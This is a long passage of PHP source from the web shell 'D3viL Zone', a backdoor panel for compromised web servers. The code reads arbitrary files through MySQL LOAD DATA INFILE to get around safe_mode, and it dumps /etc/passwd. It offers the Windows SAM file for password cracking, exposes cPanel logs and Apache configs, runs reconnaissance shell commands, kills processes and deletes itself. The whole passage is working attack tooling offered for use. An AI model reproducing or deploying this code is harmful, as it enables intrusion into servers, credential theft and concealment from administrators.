2830 echo "<tr bgcolor=\"000000\">";
2831
2832 echo "<td><center><b>»</b></center></td>";
2833
2834 echo "<td><center><b>".$i." table(s)</b></center></td>";
2835
2836 echo "<td><b>".$trows."</b></td>";
2837
2838 echo "<td>".$row[1]."</td>";
2839
2840 echo "<td>".$row[10]."</td>";
2841
2842 echo "<td>".$row[11]."</td>";
2843
2844 echo "<td><b>".view_size($tsize)."</b></td>";
2845
2846 echo "<td></td>";
2847
2848 echo "</tr>";
2849
2850 echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
2851
2852 echo "<option value=\"\">With selected:</option>";
2853
2854 echo "<option value=\"tbldrop\">Drop</option>";
2855
2856 echo "<option value=\"tblempty\">Empty</option>";
2857
2858 echo "<option value=\"tbldump\">Dump</option>";
2859
2860 echo "<option value=\"tblcheck\">Check table</option>";
2861
2862 echo "<option value=\"tbloptimize\">Optimize table</option>";
2863
2864 echo "<option value=\"tblrepair\">Repair table</option>";
2865
2866 echo "<option value=\"tblanalyze\">Analyze table</option>";
2867
2868 echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
2869
2870 mysql_free_result($result);
2871
2872 }
2873
2874 }
2875
2876 }
2877
2878 }
2879
2880 }
2881
2882 else
2883
2884 {
2885
2886 $acts = array("","newdb","serverstatus","servervars","processes","getfile");
2887
2888 if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
2889
2890 if (!empty($sql_act))
2891
2892 {
2893
2894 echo "<hr size=\"1\" noshade>";
2895
2896 if ($sql_act == "newdb")
2897
2898 {
2899
2900 echo "<b>";
2901
2902 if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
2903
2904 else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
2905
2906 }
2907
2908 if ($sql_act == "serverstatus")
2909
2910 {
2911
2912 $result = mysql_query("SHOW STATUS", $sql_sock);
2913
2914 echo "<center><b>Server-status variables:</b><br><br>";
2915
2916 echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
2917
2918 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
2919
2920 echo "</table></center>";
2921
2922 mysql_free_result($result);
2923
2924 }
2925
2926 if ($sql_act == "servervars")
2927
2928 {
2929
2930 $result = mysql_query("SHOW VARIABLES", $sql_sock);
2931
2932 echo "<center><b>Server variables:</b><br><br>";
2933
2934 echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
2935
2936 while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
2937
2938 echo "</table>";
2939
2940 mysql_free_result($result);
2941
2942 }
2943
2944 if ($sql_act == "processes")
2945
2946 {
2947
2948 if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
2949
2950 $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
2951
2952 echo "<center><b>Processes:</b><br><br>";
2953
2954 echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#000000 borderColorLight=#000000 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
2955
2956 while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
2957
2958 echo "</table>";
2959
2960 mysql_free_result($result);
2961
2962 }
2963
2964 if ($sql_act == "getfile")
2965
2966 {
2967
2968 $tmpdb = $sql_login."_tmpdb";
2969
2970 $select = mysql_select_db($tmpdb);
2971
2972 if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
2973
2974 if ($select)
2975
2976 {
2977
2978 $created = FALSE;
2979
2980 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
2981
2982 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
2983
2984 $result = mysql_query("SELECT * FROM tmp_file;");
2985
2986 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
2987
2988 else
2989
2990 {
2991
2992 for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
2993
2994 $f = "";
2995
2996 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
2997
2998 if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
2999
3000 else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
3001
3002 mysql_free_result($result);
3003
3004 mysql_query("DROP TABLE tmp_file;");
3005
3006 }
3007
3008 }
3009
3010 mysql_drop_db($tmpdb); //comment it if you want to leave database
3011
3012 }
3013
3014 }
3015
3016 }
3017
3018 }
3019
3020 echo "</td></tr></table>";
3021
3022 if ($sql_sock)
3023
3024 {
3025
3026 $affected = @mysql_affected_rows($sql_sock);
3027
3028 if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
3029
3030 echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
3031
3032 }
3033
3034 echo "</table>";
3035
3036}
3037
3038if ($act == "mkdir")
3039{
3040
3041 if ($mkdir != $d)
3042 {
3043
3044 if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
3045
3046 elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
3047
3048 echo "<br><br>";
3049
3050 }
3051
3052 $act = $dspact = "ls";
3053
3054}
3055
3056if ($act == "d")
3057
3058{
3059
3060 if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
3061
3062 else
3063
3064 {
3065
3066 echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
3067
3068 if (!$win)
3069
3070 {
3071
3072 echo "<tr><td><b>Owner/Group</b></td><td> ";
3073
3074 $ow = posix_getpwuid(fileowner($d));
3075
3076 $gr = posix_getgrgid(filegroup($d));
3077
3078 $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
3079
3080 }
3081
3082 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
3083
3084 }
3085
3086}
3087
3088
3089if ($act == "security")
3090{
3091
3092 echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
3093
3094 if (!$win)
3095
3096 {
3097
3098 if ($nixpasswd)
3099
3100 {
3101
3102 if ($nixpasswd == 1) {$nixpasswd = 0;}
3103
3104 echo "<b>*nix /etc/passwd:</b><br>";
3105
3106 if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
3107
3108 if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
3109
3110 echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
3111
3112 $i = $nixpwd_s;
3113
3114 while ($i < $nixpwd_e)
3115
3116 {
3117
3118 $uid = posix_getpwuid($i);
3119
3120 if ($uid)
3121
3122 {
3123
3124 $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
3125
3126 echo join(":",$uid)."<br>";
3127
3128 }
3129
3130 $i++;
3131
3132 }
3133
3134 }
3135
3136 else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
3137
3138 }
3139
3140 else
3141 {
3142 $v = $_SERVER["WINDIR"]."\repair\sam";
3143
3144 if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";}
3145
3146 else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ©.</font></b><br>";}
3147 }
3148
3149 if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";}
3150
3151 if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";}
3152
3153 if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
3154
3155 if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";}
3156
3157 if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";}
3158
3159 if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";}
3160
3161 if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
3162
3163 function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
3164
3165 displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
3166
3167 displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
3168
3169 displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
3170
3171 displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
3172
3173 displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
3174
3175 displaysecinfo("RAM",myshellexec("free -m"));
3176
3177 displaysecinfo("HDD space",myshellexec("df -h"));
3178
3179 displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
3180
3181 displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
3182
3183 displaysecinfo("Is cURL installed?",myshellexec("which curl"));
3184
3185 displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
3186
3187 displaysecinfo("Is links installed?",myshellexec("which links"));
3188
3189 displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
3190
3191 displaysecinfo("Is GET installed?",myshellexec("which GET"));
3192
3193 displaysecinfo("Is perl installed?",myshellexec("which perl"));
3194
3195 displaysecinfo("Where is apache",myshellexec("whereis apache"));
3196
3197 displaysecinfo("Where is perl?",myshellexec("whereis perl"));
3198
3199 displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
3200
3201 displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
3202
3203 displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
3204
3205 displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
3206
3207}
3208
3209if ($act == "mkfile")
3210
3211{
3212 if ($mkfile != $d)
3213
3214 {
3215 if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
3216
3217 elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
3218
3219 else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
3220
3221 }
3222 else {$act = $dspact = "ls";}
3223
3224}
3225
3226if ($act == "encoder")
3227
3228{
3229 echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>";
3230
3231 foreach(array("md5","crypt","sha1","crc32") as $v)
3232
3233 {
3234 echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
3235 }
3236
3237 echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
3238
3239 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
3240
3241 <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
3242
3243 echo "<center>base64_decode - ";
3244
3245 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
3246
3247 else
3248
3249 {
3250
3251 $debase64 = base64_decode($encoder_input);
3252
3253 $debase64 = str_replace("\0","[0]",$debase64);
3254
3255 $a = explode("\r\n",$debase64);
3256
3257 $rows = count($a);
3258
3259 $debase64 = htmlspecialchars($debase64);
3260
3261 if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
3262
3263 else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
3264
3265 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
3266
3267 }
3268
3269 echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
3270
3271 $c = strlen($encoder_input);
3272
3273 for($i=0;$i<$c;$i++)
3274
3275 {
3276 $hex = dechex(ord($encoder_input[$i]));
3277
3278 if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
3279
3280 elseif ($encoder_input[$i] != "\\") {echo "%".$hex;}
3281 }
3282
3283 echo "\" readonly><br></center></form>";
3284
3285}
3286
3287if ($act == "selfremove")
3288{
3289 if (($submit == $rndcode) and ($submit != ""))
3290
3291 {
3292
3293 if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using D3viL Zone v.".$shver."!"; cyb3rexit(); }
3294
3295 else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
3296
3297 }
3298
3299 else
3300
3301 {
3302
3303 if (!empty($rndcode)) {echo "<b>Error: Incorrect Confimation!</b>";}
3304
3305 $rnd = rand(0,9).rand(0,9).rand(0,9);
3306
3307 echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>";
3308
3309 }
3310
3311}
3312
3313if ($act == "serverinfo")
3314{
3315
3316global $windows,$disablefunctions,$safemode;
3317$cwd= getcwd();
3318$mil="<a target=\"_blank\" href=\"http://www.exploit-db.com/search/?action=search&filter_exploit_text=";
3319$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
3320if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) $CPU = $_SERVER["PROCESSOR_IDENTIFIER"];
3321$osver=$tsize=$fsize='';
3322if ($windows){
3323$osver = " (".shelL("ver").")";
3324$sysroot = shelL("echo %systemroot%");
3325if (empty($sysroot)) $sysroot = $_SERVER["SystemRoot"];
3326if (empty($sysroot)) $sysroot = getenv("windir");
3327if (empty($sysroot)) $sysroot = "Not Found";
3328if (empty($CPU))$CPU = shelL("echo %PROCESSOR_IDENTIFIER%");
3329for ($i=66;$i<=90;$i++){
3330$drive= chr($i).':\\';
3331if (is_dir($drive)){
3332$fsize+=@disk_free_space($drive);
3333$tsize+=@disk_total_space($drive);
3334}
3335}
3336}else{
3337$fsize=disk_free_space('/');
3338$tsize=disk_total_space('/');
3339}
3340$disksize="Used Space: ". showsizE($tsize-$fsize) . " Free Space: ". showsizE($fsize) . " Total Space: ". showsizE($tsize);
3341if (empty($CPU)) $CPU = "Unknown";
3342$os = php_unamE();
3343$osn=php_unamE('s');
3344if(!$windows){
3345$ker = php_unamE('r');
3346$o=($osn=="Linux")?"Linux+Kernel":$osn;
3347$os = str_replace($osn,"${mil}$o\"><font color='yellow'>$osn</font></a>",$os);
3348$os = str_replace($ker,"${mil}Linux+Kernel\"><font color='yellow'>$ker</font></a>",$os);
3349$inpa=':';
3350}else{
3351$sam = $sysroot."\\system32\\config\\SAM";
3352$inpa=';';
3353$os = str_replace($osn,"${mil}MS+Windows\"><font color='yellow'>$osn</font></a>",$os);
3354}
3355$software=str_replace("Apache","${mil}Apache\"><font color='#66ffff'>Apache</font></a>",$_SERVER['SERVER_SOFTWARE']);
3356echo "
3357<table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\" >
3358 <tr><td><b>Server information:</b></td></tr>
3359 <tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td>
3360 <td bgcolor=\"#666666\">".$_SERVER["HTTP_HOST"];
3361if (!empty($_SERVER["SERVER_ADDR"])){
3362 echo "(". $_SERVER["SERVER_ADDR"] .")";}
3363echo "
3364</td></tr>
3365<tr><td width=\"25%\" >Operation System:</td> <td >$os$osver</td></tr>
3366<tr><td width=\"25%\" bgcolor=\"#666666\">Web server Application:</td> <td bgcolor=\"#666666\">$software</td></tr>
3367<tr><td width=\"25%\" >CPU:</td> <td >$CPU</td></tr>
3368 <td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">$disksize</td></tr>
3369<tr><td width=\"25%\" >User domain:</td><td >";
3370if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];
3371else echo "Unknown";
3372echo "
3373</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><a href=\"".$surl."act=processes\" ><font color=#66ffff>User Name </font>:</a></td>
3374<td bgcolor=\"#666666\">";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();
3375else echo "Unknown"; echo "</td></tr>";
3376if ($windows){
3377echo "
3378<tr><td width=\"25%\" >Windows directory:</td><td ><a href=\"".$surl."act=ls&d=$sysroot"."\"><font color=yellow>$sysroot</font></a></td></tr><tr>
3379<td width=\"25%\" bgcolor=\"#666666\">Sam file:</td><td bgcolor=\"#666666\">";
3380if (is_readable(($sam)))echo "<a href=\"".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."\">
3381<font color=#66ffff>Readable</font></a>"; else echo "Not readable";echo "</td></tr>";
3382}
3383else
3384{
3385echo "<tr><td width=\"25%\" >Passwd file:</td><td >";
3386if (is_readable('/etc/passwd')) echo "
3387<a href=\"".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."\">Readable</a>"; else echo'Not readable';echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">";
3388if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "<a href=\"".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."\"><font color=#66ffff>Readable</font></a>"; else echo "Not readable";}else echo "Not found";
3389echo "</td></tr>";
3390}
3391$uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR');
3392echo "
3393<tr><td width=\"25%\" >${mil}PHP\"><font color=yellow>PHP</font></a> version:</td>
3394<td ><a href=\"?=".php_logo_guid()."\" target=\"_blank\"><font color=yellow>".PHP_VERSION."</font></a>
3395(<a href=\"".$surl."act=phpinfo\"><font color=yellow>more...</font></a>)</td></tr>
3396<tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td>
3397<td bgcolor=\"#666666\">";if (function_exists('zend_version')) echo "<a href=\"?=".zend_logo_guid()."\" target=\"_blank\"><font color=#66ffff>".zend_version()."</font></a>";
3398else echo "Not Found";echo "</td>
3399<tr><td width=\"25%\" >Include path:</td>
3400<td >".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."</td>
3401<tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td>
3402<td bgcolor=\"#666666\">";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." ";
3403echo "</td><tr><td width=\"25%\" >Disabled functions:</td><td >";
3404if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"</td></tr>
3405<tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">$sfmode</font></td></tr>
3406<tr><td width=\"25%\" >Open base dir:</td><td >$basedir</td></tr>
3407<tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td>
3408<td bgcolor=\"#666666\">";$sq="";
3409if(function_exists('mysql_connect')) $sq= "${mil}MySQL\"><font color=#66ffff>MySQL</font></a> ";
3410if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\"><font color=#66ffff>MSSQL</font></a> ";
3411if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\"><font color=#66ffff>Oracle</font></a> ";
3412if(function_exists('sqlite_open')) $sq.= " SQLite ";
3413if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\"><font color=#66ffff>PostgreSQL</font></a> ";
3414if(function_exists('msql_connect')) $sq.= " mSQL ";
3415if(function_exists('mysqli_connect'))$sq.= " MySQLi ";
3416if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL ";
3417if ($sq=="") $sq= "Nothing";
3418
3419echo "$sq</td></tr>";if (function_exists('curl_init')) echo "<tr><td width=\"25%\" >cURL support:</td><td >Enabled ";
3420if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo "</td></tr>";echo "</table>";
3421
3422}
3423
3424if ($act == "clientinfo")
3425{
3426echo "<table><tr><td><b>User information</b>:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">IP:</td><td bgcolor=\"#666666\">".$_SERVER['REMOTE_ADDR']."</td></tr><tr><td width=\"25%\" >Agent:</td><td >".getenv('HTTP_USER_AGENT')."</td></tr></table>";
3427}
3428
3429if ($act == "processes")
3430
3431{
3432
3433 echo "<b>Processes:</b><br>";
3434
3435 if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
3436
3437 else {$handler = "tasklist";}
3438
3439 $ret = myshellexec($handler);
3440
3441 if (!$ret) {echo "Can't execute \"".$handler."\"!";}
3442
3443 else
3444
3445 {
3446
3447 if (empty($processes_sort)) {$processes_sort = $sort_default;}
3448
3449 $parsesort = parsesort($processes_sort);
3450
3451 if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
3452
3453 $k = $parsesort[0];
3454
3455 if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
3456
3457 else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";}
3458
3459 $ret = htmlspecialchars($ret);
3460
3461 if (!$win)
3462
3463 {
3464
3465 if ($pid)
3466
3467 {
3468
3469 if (is_null($sig)) {$sig = 9;}
3470
3471 echo "Sending signal ".$sig." to #".$pid."... ";
3472
3473 if (posix_kill($pid,$sig)) {echo "OK.";}
3474
3475 else {echo "ERROR.";}
3476
3477 }
3478
3479 while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
3480
3481 $stack = explode("\n",$ret);
3482
3483 $head = explode(" ",$stack[0]);
3484
3485 unset($stack[0]);
3486
3487 for($i=0;$i<count($head);$i++)
3488
3489 {
3490
3491 if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";}
3492
3493 }
3494
3495 $prcs = array();
3496
3497 foreach ($stack as $line)
3498
3499 {
3500
3501 if (!empty($line))
3502
3503{
3504
3505 echo "<tr>";
3506
3507 $line = explode(" ",$line);
3508
3509 $line[10] = join(" ",array_slice($line,10));
3510
3511 $line = array_slice($line,0,11);
3512
3513 if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";}
3514
3515 $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
3516
3517 $prcs[] = $line;
3518
3519 echo "</tr>";
3520
3521 }
3522
3523 }
3524
3525 }
3526
3527 else
3528
3529 {
3530
3531 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
3532
3533 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
3534
3535 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
3536
3537 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
3538
3539 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
3540
3541 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
3542
3543 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
3544
3545 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
3546
3547 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
3548
3549 while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
3550
3551 while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
3552
3553 $ret = convert_cyr_string($ret,"d","w");
3554
3555 $stack = explode("\n",$ret);
3556
3557 unset($stack[0],$stack[2]);
3558
3559 $stack = array_values($stack);
3560
3561 $head = explode("",$stack[0]);
3562
3563 $head[1] = explode(" ",$head[1]);
3564
3565 $head[1] = $head[1][0];
3566
3567 $stack = array_slice($stack,1);
3568
3569 unset($head[2]);
3570
3571 $head = array_values($head);
3572
